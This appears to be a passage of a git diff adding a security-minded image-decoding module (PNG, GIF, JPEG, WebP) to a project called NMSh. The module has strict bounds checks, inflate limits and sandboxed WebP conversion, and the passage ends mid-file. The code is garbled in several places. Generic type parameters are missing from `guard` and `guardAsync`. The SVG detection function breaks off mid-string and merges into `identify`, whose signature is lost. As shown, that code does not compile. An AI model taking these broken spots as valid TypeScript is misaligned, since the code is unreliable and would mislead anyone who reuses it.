Dimensions go through `checkDimensions` before any allocation (16384 per side, 24 MP). +- PNG: the inflated size is computed from the header (and the Adam7 pass sizes) and used as `maxOutputLength`; it is also capped at + `IMAGE_LIMITS.maxInflatedBytes`. Critical-chunk CRCs are verified. Extra or short pixel data is `malformed`. +- GIF: first frame only; code sizes 1..8 for the minimum, 12 bits at most for codes; the frame must lie inside the logical screen and + the LZW stream must produce exactly the frame's pixels. +- JPEG: `jpeg-js` with 24 MP / 256 MB caps after `identify`; lossless, arithmetic and hierarchical JPEGs are `unsupported`. EXIF + orientation (1..8) is applied from a bounds-checked parse of the APP1 segment. +- WebP: no in-process decoder. The bytes are written to a fresh 0700 directory inside the caller's scratch directory and converted + with the first tool found (macOS `sips`, then `dwebp`, `magick`, `convert`, `ffmpeg`), via `execFile` with an argument array, an 8 s + timeout and a small output buffer; the PNG result is decoded by `decodePng` and the directory is always removed. With no tool the + error is `unavailable` and says what to install. Tool availability is probed once per process. +- `readImageFile` opens with `O_NONBLOCK` and checks `fstat` on the same descriptor: only regular files up to `maxFileBytes`. + +## Not covered + +Animation (first frame only), colour profiles, 16-bit output, SVG. Automated tests are not physical terminal verification. diff --git a/src/graphics/decode.ts b/src/graphics/decode.ts new file mode 100644 index 00000000..2ce558cd --- /dev/null +++ b/src/graphics/decode.ts @@ -0,0 +1,57 @@ +/** The graphics service's front door: read one image file safely, then identify and decode its bytes. */ +import fs from 'node:fs/promises'; +import {constants} from 'node:fs'; +import {IMAGE_LIMITS, ImageError, type ImageInfo, type Raster} from './raster.js'; +import {guardAsync, identify} from './formats.js'; +import {decodePng} from './png.js'; +import {decodeGif} from './gif.js'; +import {decodeJpeg} from './jpeg.js'; +import {decodeWebp} from './webp.js'; + +/** + * Read a regular file of at most `maxBytes` (never more than `IMAGE_LIMITS.maxFileBytes`). The type and size are checked on the + * descriptor that is then read, so the path cannot be swapped in between; a FIFO or device is refused without blocking. + */ +export async function readImageFile(filePath: string, options: {maxBytes?: number} = {}): Promise<{bytes: Uint8Array}> { + const limit = Math.min(options.maxBytes ?? IMAGE_LIMITS.maxFileBytes, IMAGE_LIMITS.maxFileBytes); + let handle; + try { + handle = await fs.open(filePath, constants.O_RDONLY | constants.O_NONBLOCK); + } catch (error) { + throw new ImageError('unavailable', `The file could not be opened (${(error as NodeJS.ErrnoException).code ?? 'error'}).`); + } + try { + const stat = await handle.stat(); + if (!stat.isFile()) throw new ImageError('unsafe', 'Only regular files can be shown as images.'); + if (stat.size > limit) throw new ImageError('too-large', `The file is larger than NMSh will read (${Math.floor(limit / (1024 * 1024))} MB).`); + const buffer = new Uint8Array(stat.size); + let read = 0; + while (read < buffer.length) { + const {bytesRead} = await handle.read(buffer, read, buffer.length - read, read); + if (bytesRead === 0) break; + read += bytesRead; + } + return {bytes: buffer.subarray(0, read)}; + } catch (error) { + if (error instanceof ImageError) throw error; + throw new ImageError('unavailable', `The file could not be read (${(error as NodeJS.ErrnoException).code ?? 'error'}).`); + } finally { + await handle.close().catch(() => undefined); + } +} + +export function decodeImage(bytes: Uint8Array, options: {scratchDir?: string; signal?: AbortSignal} = {}): Promise<{info: ImageInfo; raster: Raster}> { + return guardAsync(async () => { + const info = identify(bytes); + switch (info.format) { + case 'png': return {info, raster: decodePng(bytes)}; + case 'gif': return {info, raster: decodeGif(bytes)}; + case 'jpeg': return {info, raster: decodeJpeg(bytes)}; + case 'webp': + if (!options.scratchDir) throw new ImageError('unavailable', 'WebP images need a scratch directory to be converted in.'); + return {info, raster: await decodeWebp(bytes, {scratchDir: options.scratchDir, signal: options.signal})}; + case 'svg': throw new ImageError('unsupported', 'SVG is not rendered: it can contain scripts and external references, so NMSh only shows PNG, JPEG, GIF and WebP.'); + default: throw new ImageError('unsupported', 'This is not an image format NMSh can show (PNG, JPEG, GIF and WebP are supported).'); + } + }); +} diff --git a/src/graphics/formats.ts b/src/graphics/formats.ts new file mode 100644 index 00000000..8a590c4a --- /dev/null +++ b/src/graphics/formats.ts @@ -0,0 +1,213 @@ +/** + * Header-only image identification, plus the bounds-checked byte readers every decoder shares. + * `identify` never decodes pixels and never reads outside the buffer: a short or inconsistent header is an `ImageError`. + */ +import {IMAGE_LIMITS, ImageError, checkDimensions, type ImageInfo} from './raster.js'; + +const PNG_SIGNATURE = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]; + +export function malformed(what: string): ImageError { + return new ImageError('malformed', `The image is damaged (${what}).`); +} + +function need(bytes: Uint8Array, offset: number, length: number, what = 'truncated'): void { + if (!Number.isInteger(offset) || offset < 0 || length < 0 || offset + length > bytes.length) throw malformed(what); +} + +export function u8(bytes: Uint8Array, offset: number): number { + need(bytes, offset, 1); + return bytes[offset]!; +} + +export function u16be(bytes: Uint8Array, offset: number): number { + need(bytes, offset, 2); + return (bytes[offset]! << 8) | bytes[offset + 1]!; +} + +export function u16le(bytes: Uint8Array, offset: number): number { + need(bytes, offset, 2); + return bytes[offset]! | (bytes[offset + 1]! << 8); +} + +export function u32be(bytes: Uint8Array, offset: number): number { + need(bytes, offset, 4); + return ((bytes[offset]! << 24) | (bytes[offset + 1]! << 16) | (bytes[offset + 2]! << 8) | bytes[offset + 3]!) >>> 0; +} + +export function u32le(bytes: Uint8Array, offset: number): number { + need(bytes, offset, 4); + return (bytes[offset]! | (bytes[offset + 1]! << 8) | (bytes[offset + 2]! << 16) | (bytes[offset + 3]! << 24)) >>> 0; +} + +/** Four ASCII bytes as a string, for comparing chunk tags only (never shown to the person). */ +export function tag(bytes: Uint8Array, offset: number): string { + need(bytes, offset, 4); + return String.fromCharCode(bytes[offset]!, bytes[offset + 1]!, bytes[offset + 2]!, bytes[offset + 3]!); +} + +function hasPrefix(bytes: Uint8Array, prefix: readonly number[]): boolean { + return bytes.length >= prefix.length && prefix.every((value, index) => bytes[index] === value); +} + +/** Run a decoder body so that nothing but an `ImageError` ever escapes (a stray RangeError or TypeError becomes `malformed`). */ +export function guard(body: () => T): T { + try { + return body(); + } catch (error) { + if (error instanceof ImageError) throw error; + throw malformed('unreadable data'); + } +} + +export async function guardAsync(body: () => Promise): Promise { + try { + return await body(); + } catch (error) { + if (error instanceof ImageError) throw error; + throw malformed('unreadable data'); + } +} + +/** The first start-of-frame marker of a JPEG: which coding process it uses and the size it declares. */ +export function scanJpegFrame(bytes: Uint8Array): {marker: number; width: number; height: number} { + let index = 2; + for (let steps = 0; steps < IMAGE_LIMITS.maxChunkScan; steps++) { + while (index < bytes.length && bytes[index] !== 0xff) index++; + while (index < bytes.length && bytes[index] === 0xff) index++; + const marker = u8(bytes, index); + index++; + if (marker === 0x00 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd8)) continue; + if (marker === 0xd9 || marker === 0xda) throw malformed('no frame header'); + const length = u16be(bytes, index); + if (length < 2) throw malformed('bad segment length'); + const isFrame = marker >= 0xc0 && marker <= 0xcf && marker !== 0xc4 && marker !== 0xc8 && marker !== 0xcc; + if (isFrame) { + if (length < 8) throw malformed('short frame header'); + return {marker, height: u16be(bytes, index + 3), width: u16be(bytes, index + 5)}; + } + index += length; + } + throw malformed('too many segments'); +} + +function identifyPng(bytes: Uint8Array): ImageInfo { + if (u32be(bytes, 8) !== 13 || tag(bytes, 12) !== 'IHDR') throw malformed('missing header'); + const width = u32be(bytes, 16); + const height = u32be(bytes, 20); + checkDimensions(width, height); + const colorType = u8(bytes, 25); + let animated = false; + let alpha = colorType === 4 || colorType === 6; + let index = 8; + for (let steps = 0; steps < IMAGE_LIMITS.maxChunkScan && index + 8 <= bytes.length; steps++) { + const length = u32be(bytes, index); + const kind = tag(bytes, index + 4); + if (kind === 'IDAT' || kind === 'IEND') break; + if (kind === 'acTL') animated = true; + if (kind === 'tRNS') alpha = true; + index += 12 + length; + } + return {format: 'png', width, height, animated, alpha, bytes: bytes.length}; +} + +function identifyJpeg(bytes: Uint8Array): ImageInfo { + const {width, height} = scanJpegFrame(bytes); + checkDimensions(width, height); + return {format: 'jpeg', width, height, animated: false, alpha: false, bytes: bytes.length}; +} + +function identifyGif(bytes: Uint8Array): ImageInfo { + const width = u16le(bytes, 6); + const height = u16le(bytes, 8); + checkDimensions(width, height); + const flags = u8(bytes, 10); + let index = 13 + (flags & 0x80 ? 3 * (1 << ((flags & 7) + 1)) : 0); + let images = 0; + let alpha = false; + const skipSubBlocks = (): void => { + while (index < bytes.length) { + const size = bytes[index]!; + index += 1 + size; + if (size === 0) return; + } + }; + for (let steps = 0; steps < IMAGE_LIMITS.maxChunkScan && index < bytes.length && images < 2; steps++) { + const block = bytes[index]!; + if (block === 0x21) { + if (bytes[index + 1] === 0xf9 && index + 3 < bytes.length && (bytes[index + 3]! & 1)) alpha = true; + index += 2; + skipSubBlocks(); + } else if (block === 0x2c) { + images++; + if (index + 10 > bytes.length) break; + const local = bytes[index + 9]!; + index += 10 + (local & 0x80 ? 3 * (1 << ((local & 7) + 1)) : 0) + 1; + skipSubBlocks(); + } else break; + } + return {format: 'gif', width, height, animated: images > 1, alpha, bytes: bytes.length}; +} + +function identifyWebp(bytes: Uint8Array): ImageInfo { + const end = u32le(bytes, 4) + 8; + if (end > bytes.length || end < 20) throw malformed('size mismatch'); + let width = 0; + let height = 0; + let alpha = false; + let animated = false; + let found = false; + let index = 12; + for (let steps = 0; steps < IMAGE_LIMITS.maxChunkScan && index + 8 <= end; steps++) { + const kind = tag(bytes, index); + const size = u32le(bytes, index + 4); + const data = index + 8; + if (data + size > end) throw malformed('chunk overruns file'); + if (kind === 'VP8X') { + if (size < 10) throw malformed('short header'); + const flags = u8(bytes, data); + alpha = (flags & 0x10) !== 0; + animated = (flags & 0x02) !== 0; + width = (bytes[data + 4]! | (bytes[data + 5]! << 8) | (bytes[data + 6]! << 16)) + 1; + height = (bytes[data + 7]! | (bytes[data + 8]! << 8) | (bytes[data + 9]! << 16)) + 1; + found = true; + } else if (kind === 'VP8 ' && !found) { + if (size < 10 || u8(bytes, data + 3) !== 0x9d || bytes[data + 4] !== 0x01 || bytes[data + 5] !== 0x2a) throw malformed('bad lossy header'); + width = u16le(bytes, data + 6) & 0x3fff; + height = u16le(bytes, data + 8) & 0x3fff; + found = true; + } else if (kind === 'VP8L' && !found) { + if (size < 5 || u8(bytes, data) !== 0x2f) throw malformed('bad lossless header'); + const bits = u32le(bytes, data + 1); + width = (bits & 0x3fff) + 1; + height = ((bits >>> 14) & 0x3fff) + 1; + alpha = ((bits >>> 28) & 1) === 1; + found = true; + } else if (kind === 'ANIM' || kind === 'ANMF') animated = true; + else if (kind === 'ALPH') alpha = true; + index = data + size + (size & 1); + } + if (!found) throw malformed('no image data'); + checkDimensions(width, height); + return {format: 'webp', width, height, animated, alpha, bytes: bytes.length}; +} + +function looksLikeSvg(bytes: Uint8Array): boolean { + let text = ''; + const head = bytes.subarray(0, 4096); + for (const byte of head) text += String.fromCharCode(byte); + text = text.replace(/^|^\xEF\xBB\xBF/, '').trimStart().toLowerCase(); + if (text.startsWith(' { + if (hasPrefix(bytes, PNG_SIGNATURE)) return identifyPng(bytes); + if (hasPrefix(bytes, [0xff, 0xd8, 0xff])) return identifyJpeg(bytes); + if (hasPrefix(bytes, [0x47, 0x49, 0x46, 0x38]) && (bytes[4] === 0x37 || bytes[4] === 0x39) && bytes[5] === 0x61) return identifyGif(bytes); + if (bytes.length >= 12 && tag(bytes, 0) === 'RIFF' && tag(bytes, 8) === 'WEBP') return identifyWebp(bytes); + if (looksLikeSvg(bytes)) return {format: 'svg', width: 0, height: 0, animated: false, alpha: true, bytes: bytes.length}; + return {format: 'unknown', width: 0, height: 0, animated: false, alpha: false, bytes: bytes.length}; + }); +} diff --git a/src/graphics/gif.ts b/src/graphics/gif.ts new file mode 100644 index 00000000..dcee0ed2 --- /dev/null +++ b/src/graphics/gif.ts @@ -0,0 +1,170 @@ +/** + * GIF decoder: the first frame only, composited onto a transparent canvas the size of the logical screen. + * LZW is strict: code widths 1..12, no code beyond the next free slot, and exactly the pixels the frame rectangle needs. + */ +import {checkDimensions, type Raster} from './raster.js'; +import {guard, malformed, u16le, u8} from './formats.js'; + +const INTERLACE_PASSES: readonly (readonly [number, number])[] = [[0, 8], [4, 8], [2, 4], [1, 2]]; + +export function decodeGif(bytes: Uint8Array): Raster { + return guard(() => decode(bytes)); +} + +/** Concatenate a run of data sub-blocks starting at `index`; returns the data and the index after the terminator. */ +function readSubBlocks(bytes: Uint8Array, start: number): {data: Uint8Array; next: number} { + const parts: Uint8Array[] = []; + let total = 0; + let index = start; + for (;;) { + const size = u8(bytes, index); + index++; + if (size === 0) break; + if (index + size > bytes.length) throw malformed('truncated'); + parts.push(bytes.subarray(index, index + size)); + total += size; + index += size; + } + const data = new Uint8Array(total); + let at = 0; + for (const part of parts) { + data.set(part, at); + at += part.length; + } + return {data, next: index}; +} + +function lzw(data: Uint8Array, minCodeSize: number, count: number): Uint8Array { + const clear = 1 << minCodeSize; + const end = clear + 1; + const prefix = new Uint16Array(4096); + const suffix = new Uint8Array(4096); + const stack = new Uint8Array(4097); + const out = new Uint8Array(count); + let produced = 0; + let size = minCodeSize + 1; + let next = clear + 2; + let previous = -1; + let first = 0; + let bits = 0; + let acc = 0; + let pos = 0; + for (let i = 0; i < clear; i++) suffix[i] = i; + for (;;) { + while (bits < size) { + if (pos >= data.length) throw malformed('image data ended early'); + acc |= data[pos++]! << bits; + bits += 8; + } + const code = acc & ((1 << size) - 1); + acc >>>= size; + bits -= size; + if (code === clear) { + size = minCodeSize + 1; + next = clear + 2; + previous = -1; + continue; + } + if (code === end) break; + if (previous === -1) { + if (code >= clear) throw malformed('bad first code'); + if (produced >= count) throw malformed('too much image data'); + out[produced++] = code; + previous = code; + first = code; + continue; + } + if (code > next || (code === next && next >= 4096)) throw malformed('code out of range'); + let top = 0; + let walk = code; + if (code === next) { + stack[top++] = first; + walk = previous; + } + while (walk >= clear) { + stack[top++] = suffix[walk]!; + walk = prefix[walk]!; + } + first = walk; + stack[top++] = walk; + if (produced + top > count) throw malformed('too much image data'); + while (top > 0) out[produced++] = stack[--top]!; + if (next < 4096) { + prefix[next] = previous; + suffix[next] = first; + next++; + if (next === 1 << size && size < 12) size++; + } + previous = code; + } + if (produced !== count) throw malformed('image data ended early'); + return out; +} + +function decode(bytes: Uint8Array): Raster { + if (bytes.length < 13 || String.fromCharCode(...bytes.subarray(0, 3)) !== 'GIF') throw malformed('not a GIF'); + const width = u16le(bytes, 6); + const height = u16le(bytes, 8); + checkDimensions(width, height); + const flags = u8(bytes, 10); + let index = 13; + let globalTable: Uint8Array | undefined; + if (flags & 0x80) { + const length = 3 * (1 << ((flags & 7) + 1)); + if (index + length > bytes.length) throw malformed('truncated'); + globalTable = bytes.subarray(index, index + length); + index += length; + } + let transparent = -1; + for (;;) { + const block = u8(bytes, index); + index++; + if (block === 0x21) { + const label = u8(bytes, index); + const body = readSubBlocks(bytes, index + 1); + if (label === 0xf9 && body.data.length >= 4 && (body.data[0]! & 1)) transparent = body.data[3]!; + index = body.next; + } else if (block === 0x2c) { + break; + } else { + throw malformed(block === 0x3b ? 'no image' : 'unknown block'); + } + } + const left = u16le(bytes, index); + const top = u16le(bytes, index + 2); + const frameWidth = u16le(bytes, index + 4); + const frameHeight = u16le(bytes, index + 6); + const frameFlags = u8(bytes, index + 8); + index += 9; + if (frameWidth < 1 || frameHeight < 1 || left + frameWidth > width || top + frameHeight > height) throw malformed('frame outside the screen'); + let table = globalTable; + if (frameFlags & 0x80) { + const length = 3 * (1 << ((frameFlags & 7) + 1)); + if (index + length > bytes.length) throw malformed('truncated'); + table = bytes.subarray(index, index + length); + index += length; + } + if (!table) throw malformed('no colour table'); + const minCodeSize = u8(bytes, index); + index++; + if (minCodeSize < 1 || minCodeSize > 8) throw malformed('bad code size'); + const indices = lzw(readSubBlocks(bytes, index).data, minCodeSize, frameWidth * frameHeight); + + const out = new Uint8ClampedArray(width * height * 4); + const rows: number[] = []; + if (frameFlags & 0x40) for (const [start, step] of INTERLACE_PASSES) for (let y = start; y < frameHeight; y += step) rows.push(y); + for (let line = 0; line < frameHeight; line++) { + const y = frameFlags & 0x40 ? rows[line]! : line; + for (let x = 0; x < frameWidth; x++) { + const value = indices[line * frameWidth + x]!; + if (value === transparent) continue; + if (value * 3 + 2 >= table.length) throw malformed('colour index out of range'); + const at = ((top + y) * width + left + x) * 4; + out[at] = table[value * 3]!; + out[at + 1] = table[value * 3 + 1]!; + out[at + 2] = table[value * 3 + 2]!; + out[at + 3] = 255; + } + } + return {width, height, data: out}; +} diff --git a/src/graphics/jpeg.ts b/src/graphics/jpeg.ts new file mode 100644 index 00000000..13b52337 --- /dev/null +++ b/src/graphics/jpeg.ts @@ -0,0 +1,94 @@ +/** + * JPEG decoder: `jpeg-js` (baseline and progressive, pure JavaScript) behind our own size checks, plus EXIF orientation + * so phone photos come out upright. + */ +import jpeg from 'jpeg-js'; +import {IMAGE_LIMITS, ImageError, type Raster} from './raster.js'; +import {guard, identify, malformed, scanJpegFrame, tag, u16be, u16le, u32be, u32le} from './formats.js'; + +/** The EXIF orientation tag (1..8) of a JPEG, or 1 when absent or unreadable. Reads only the APP1 segment, bounds-checked. */ +export function readExifOrientation(bytes: Uint8Array): number { + try { + let index = 2; + for (let steps = 0; steps < IMAGE_LIMITS.maxChunkScan; steps++) { + while (index < bytes.length && bytes[index] !== 0xff) index++; + while (index < bytes.length && bytes[index] === 0xff) index++; + const marker = bytes[index++]; + if (marker === undefined || marker === 0xda || marker === 0xd9) return 1; + if (marker === 0x00 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd8)) continue; + const length = u16be(bytes, index); + if (length < 2 || index + length > bytes.length) return 1; + if (marker === 0xe1 && length >= 16 && tag(bytes, index + 2) === 'Exif') return orientationOf(bytes.subarray(index + 2 + 6, index + length)); + index += length; + } + } catch { + // an unreadable EXIF block means "upright" + } + return 1; +} + +function orientationOf(tiff: Uint8Array): number { + if (tiff.length < 8) return 1; + const little = tiff[0] === 0x49 && tiff[1] === 0x49; + if (!little && !(tiff[0] === 0x4d && tiff[1] === 0x4d)) return 1; + const u16 = (at: number): number => (little ? u16le(tiff, at) : u16be(tiff, at)); + const u32 = (at: number): number => (little ? u32le(tiff, at) : u32be(tiff, at)); + if (u16(2) !== 42) return 1; + const ifd = u32(4); + const count = Math.min(u16(ifd), 512); + for (let i = 0; i < count; i++) { + const entry = ifd + 2 + i * 12; + if (u16(entry) === 0x0112) { + if (u16(entry + 2) !== 3 || u32(entry + 4) < 1) return 1; + const value = u16(entry + 8); + return value >= 1 && value <= 8 ? value : 1; + } + } + return 1; +} + +/** Rotate/flip a raster the way EXIF orientation `orientation` (1..8) says, so it displays upright. */ +export function applyOrientation(raster: Raster, orientation: number): Raster { + if (orientation < 2 || orientation > 8) return raster; + const {width, height, data} = raster; + const swap = orientation >= 5; + const outWidth = swap ? height : width; + const outHeight = swap ? width : height; + const out = new Uint8ClampedArray(data.length); + for (let y = 0; y < height; y++) { + for (let x = 0; x < width; x++) { + let dx: number, dy: number; + switch (orientation) { + case 2: dx = width - 1 - x; dy = y; break; + case 3: dx = width - 1 - x; dy = height - 1 - y; break; + case 4: dx = x; dy = height - 1 - y; break; + case 5: dx = y; dy = x; break; + case 6: dx = height - 1 - y; dy = x; break; + case 7: dx = height - 1 - y; dy = width - 1 - x; break; + default: dx = y; dy = width - 1 - x; break; + } + const from = (y * width + x) * 4; + const to = (dy * outWidth + dx) * 4; + out[to] = data[from]!; out[to + 1] = data[from + 1]!; out[to + 2] = data[from + 2]!; out[to + 3] = data[from + 3]!; + } + } + return {width: outWidth, height: outHeight, data: out}; +} + +export function decodeJpeg(bytes: Uint8Array): Raster { + return guard(() => { + const info = identify(bytes); + if (info.format !== 'jpeg') throw malformed('not a JPEG'); + const {marker} = scanJpegFrame(bytes); + if (marker > 0xc2) throw new ImageError('unsupported', 'This kind of JPEG (lossless, arithmetic or hierarchical coding) is not supported.'); + let decoded; + try { + decoded = jpeg.decode(bytes, {useTArray: true, formatAsRGBA: true, maxResolutionInMP: 24, maxMemoryUsageInMB: 256}); + } catch { + throw malformed('undecodable JPEG data'); + } + if (decoded.width !== info.width || decoded.height !== info.height || decoded.data.length !== info.width * info.height * 4) throw malformed('size mismatch'); + const raster: Raster = {width: decoded.width, height: decoded.height, data: new Uint8ClampedArray(decoded.data.buffer, decoded.data.byteOffset, decoded.data.length)}; + return applyOrientation(raster, readExifOrientation(bytes)); + }); +} diff --git a/src/graphics/png.ts b/src/graphics/png.ts new file mode 100644 index 00000000..f81ab325 --- /dev/null +++ b/src/graphics/png.ts @@ -0,0 +1,220 @@ +/** + * PNG decoder: all colour types and depths, PLTE/tRNS, the five filters and Adam7. Only the default image of an APNG is decoded. + * The inflated size is computed from the header and used as the decompressor's hard ceiling, so a bomb is an `ImageError`. + */ +import zlib from 'node:zlib'; +import {IMAGE_LIMITS, ImageError, checkDimensions, type Raster} from './raster.js'; +import {guard, malformed, tag, u32be, u8} from './formats.js'; + +const SIGNATURE = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]; +/** [x offset, y offset, x step, y step] per Adam7 pass. */ +const ADAM7: readonly (readonly [number, number, number, number])[] = [ + [0, 0, 8, 8], [4, 0, 8, 8], [0, 4, 4, 8], [2, 0, 4, 4], [0, 2, 2, 4], [1, 0, 2, 2], [0, 1, 1, 2], +]; +const CHANNELS: Record = {0: 1, 2: 3, 3: 1, 4: 2, 6: 4}; +const DEPTHS: Record = {0: [1, 2, 4, 8, 16], 2: [8, 16], 3: [1, 2, 4, 8], 4: [8, 16], 6: [8, 16]}; + +const CRC_TABLE = (() => { + const table = new Uint32Array(256); + for (let n = 0; n < 256; n++) { + let c = n; + for (let k = 0; k < 8; k++) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1; + table[n] = c >>> 0; + } + return table; +})(); + +export function crc32(bytes: Uint8Array, start = 0, end = bytes.length): number { + let c = 0xffffffff; + for (let i = start; i < end; i++) c = CRC_TABLE[(c ^ bytes[i]!) & 0xff]! ^ (c >>> 8); + return (c ^ 0xffffffff) >>> 0; +} + +interface Header { + width: number; + height: number; + depth: number; + colorType: number; + interlaced: boolean; +} + +function passSize(header: Header, pass: readonly [number, number, number, number]): {width: number; height: number} { + const [x0, y0, dx, dy] = pass; + return {width: Math.ceil((header.width - x0) / dx), height: Math.ceil((header.height - y0) / dy)}; +} + +function strideOf(width: number, bitsPerPixel: number): number { + return Math.ceil((width * bitsPerPixel) / 8); +} + +function paeth(a: number, b: number, c: number): number { + const p = a + b - c; + const pa = Math.abs(p - a); + const pb = Math.abs(p - b); + const pc = Math.abs(p - c); + return pa <= pb && pa <= pc ? a : pb <= pc ? b : c; +} + +function unfilter(filter: number, row: Uint8Array, previous: Uint8Array, unit: number): void { + const length = row.length; + switch (filter) { + case 0: return; + case 1: + for (let i = unit; i < length; i++) row[i] = row[i]! + row[i - unit]!; + return; + case 2: + for (let i = 0; i < length; i++) row[i] = row[i]! + previous[i]!; + return; + case 3: + for (let i = 0; i < length; i++) row[i] = row[i]! + (((i >= unit ? row[i - unit]! : 0) + previous[i]!) >> 1); + return; + case 4: + for (let i = 0; i < length; i++) { + const left = i >= unit ? row[i - unit]! : 0; + const upLeft = i >= unit ? previous[i - unit]! : 0; + row[i] = row[i]! + paeth(left, previous[i]!, upLeft); + } + return; + default: + throw malformed('unknown filter'); + } +} + +export function decodePng(bytes: Uint8Array): Raster { + return guard(() => decode(bytes)); +} + +function decode(bytes: Uint8Array): Raster { + if (bytes.length < 8 || !SIGNATURE.every((value, index) => bytes[index] === value)) throw malformed('not a PNG'); + let header: Header | undefined; + let palette: Uint8Array | undefined; + let transparency: Uint8Array | undefined; + const idat: Uint8Array[] = []; + let sawEnd = false; + let index = 8; + while (index < bytes.length) { + const length = u32be(bytes, index); + if (length > 0x7fffffff || index + 12 + length > bytes.length) throw malformed('chunk overruns file'); + const kind = tag(bytes, index + 4); + if (!/^[A-Za-z]{4}$/.test(kind)) throw malformed('bad chunk name'); + const data = index + 8; + const critical = (bytes[index + 4]! & 0x20) === 0; + if (critical && crc32(bytes, index + 4, data + length) !== u32be(bytes, data + length)) throw malformed('checksum mismatch'); + if (!header && kind !== 'IHDR') throw malformed('missing header'); + if (kind === 'IHDR') { + if (header || length !== 13) throw malformed('bad header'); + header = readHeader(bytes, data); + } else if (kind === 'PLTE') { + if (length === 0 || length % 3 !== 0 || length > 768) throw malformed('bad palette'); + palette = bytes.subarray(data, data + length); + } else if (kind === 'tRNS') { + transparency = bytes.subarray(data, data + length); + } else if (kind === 'IDAT') { + idat.push(bytes.subarray(data, data + length)); + } else if (kind === 'IEND') { + sawEnd = true; + break; + } + index = data + length + 4; + } + if (!header) throw malformed('missing header'); + if (!sawEnd) throw malformed('truncated'); + if (idat.length === 0) throw malformed('no image data'); + if (header.colorType === 3 && !palette) throw malformed('missing palette'); + return build(header, idat, palette, transparency); +} + +function readHeader(bytes: Uint8Array, at: number): Header { + const width = u32be(bytes, at); + const height = u32be(bytes, at + 4); + checkDimensions(width, height); + const depth = u8(bytes, at + 8); + const colorType = u8(bytes, at + 9); + if (!DEPTHS[colorType]?.includes(depth)) throw malformed('bad colour type or depth'); + if (u8(bytes, at + 10) !== 0 || u8(bytes, at + 11) !== 0) throw malformed('bad compression or filter method'); + const interlace = u8(bytes, at + 12); + if (interlace > 1) throw malformed('bad interlace method'); + return {width, height, depth, colorType, interlaced: interlace === 1}; +} + +function build(header: Header, idat: Uint8Array[], palette: Uint8Array | undefined, transparency: Uint8Array | undefined): Raster { + const {width, height, depth, colorType} = header; + const channels = CHANNELS[colorType]!; + const bitsPerPixel = channels * depth; + const unit = Math.max(1, bitsPerPixel >> 3); + const passes = header.interlaced ? ADAM7 : ([[0, 0, 1, 1]] as const); + + let expected = 0; + for (const pass of passes) { + const size = passSize(header, pass); + if (size.width > 0 && size.height > 0) expected += size.height * (1 + strideOf(size.width, bitsPerPixel)); + } + if (expected > IMAGE_LIMITS.maxInflatedBytes) throw new ImageError('too-large', 'The image would need more memory to decode than NMSh allows.'); + + let raw: Uint8Array; + try { + raw = zlib.inflateSync(Buffer.concat(idat), {maxOutputLength: expected}); + } catch { + throw malformed('bad or oversized pixel data'); + } + if (raw.length !== expected) throw malformed('pixel data has the wrong length'); + + const out = new Uint8ClampedArray(width * height * 4); + const maxValue = (1 << Math.min(depth, 8)) - 1; + const read: (row: Uint8Array, i: number) => number = + depth === 8 ? (row, i) => row[i]! + : depth === 16 ? (row, i) => (row[2 * i]! << 8) | row[2 * i + 1]! + : (row, i) => { + const bit = i * depth; + return (row[bit >> 3]! >> (8 - depth - (bit & 7))) & maxValue; + }; + const to8 = depth === 16 ? (value: number) => value >> 8 : depth < 8 ? (value: number) => Math.round((value * 255) / maxValue) : (value: number) => value; + + // tRNS: per-palette-entry alpha, or a colour key compared against the raw (unscaled) samples. + const key = transparency && colorType === 0 && transparency.length >= 2 ? [(transparency[0]! << 8) | transparency[1]!] + : transparency && colorType === 2 && transparency.length >= 6 + ? [(transparency[0]! << 8) | transparency[1]!, (transparency[2]! << 8) | transparency[3]!, (transparency[4]! << 8) | transparency[5]!] + : undefined; + const paletteEntries = palette ? palette.length / 3 : 0; + + let pos = 0; + for (const pass of passes) { + const [x0, y0, dx, dy] = pass; + const size = passSize(header, pass); + if (size.width <= 0 || size.height <= 0) continue; + const stride = strideOf(size.width, bitsPerPixel); + let previous = new Uint8Array(stride); + let row = new Uint8Array(stride); + for (let y = 0; y < size.height; y++) { + const filter = raw[pos++]!; + row.set(raw.subarray(pos, pos + stride)); + pos += stride; + unfilter(filter, row, previous, unit); + const base = (y0 + y * dy) * width; + for (let x = 0; x < size.width; x++) { + const at = (base + x0 + x * dx) * 4; + const i = x * channels; + let r: number, g: number, b: number, a = 255; + if (colorType === 3) { + const entry = read(row, i); + if (entry >= paletteEntries) throw malformed('palette index out of range'); + r = palette![entry * 3]!; g = palette![entry * 3 + 1]!; b = palette![entry * 3 + 2]!; + if (transparency && entry < transparency.length) a = transparency[entry]!; + } else if (colorType === 0 || colorType === 4) { + const value = read(row, i); + r = g = b = to8(value); + if (colorType === 4) a = to8(read(row, i + 1)); + else if (key && value === key[0]) a = 0; + } else { + const rv = read(row, i), gv = read(row, i + 1), bv = read(row, i + 2); + r = to8(rv); g = to8(gv); b = to8(bv); + if (colorType === 6) a = to8(read(row, i + 3)); + else if (key && rv === key[0] && gv === key[1] && bv === key[2]) a = 0; + } + out[at] = r; out[at + 1] = g; out[at + 2] = b; out[at + 3] = a; + } + [previous, row] = [row, previous]; + } + } + return {width, height, data: out}; +} diff --git a/src/graphics/webp.ts b/src/graphics/webp.ts new file mode 100644 index 00000000..3d082b00 --- /dev/null +++ b/src/graphics/webp.ts @@ -0,0 +1,117 @@ +/** + * WebP has no decoder in NMSh: the file is converted to PNG by a tool the machine already has (never a shell, never a + * network call), in a private directory inside the caller's scratch directory, then decoded with `decodePng`. + */ +import {execFile} from 'node:child_process'; +import fs from 'node:fs/promises'; +import path from 'node:path'; +import {IMAGE_LIMITS, ImageError, type Raster} from './raster.js'; +import {guardAsync, identify, malformed} from './formats.js'; +import {decodePng} from './png.js'; + +interface Converter { + name: string; + probe: {file: string; args: string[]} | 'file-exists'; + file: string; + /** Arguments given relative file names `in.webp` and `out.png` (the working directory is the private temp dir). */ + args: string[]; +} + +const CONVERTERS: Converter[] = [ + ...(process.platform === 'darwin' ? [{name: 'sips', probe: 'file-exists' as const, file: '/usr/bin/sips', args: ['-s', 'format', 'png', 'in.webp', '--out', 'out.png']}] : []), + {name: 'dwebp', probe: {file: 'dwebp', args: ['-version']}, file: 'dwebp', args: ['in.webp', '-o', 'out.png']}, 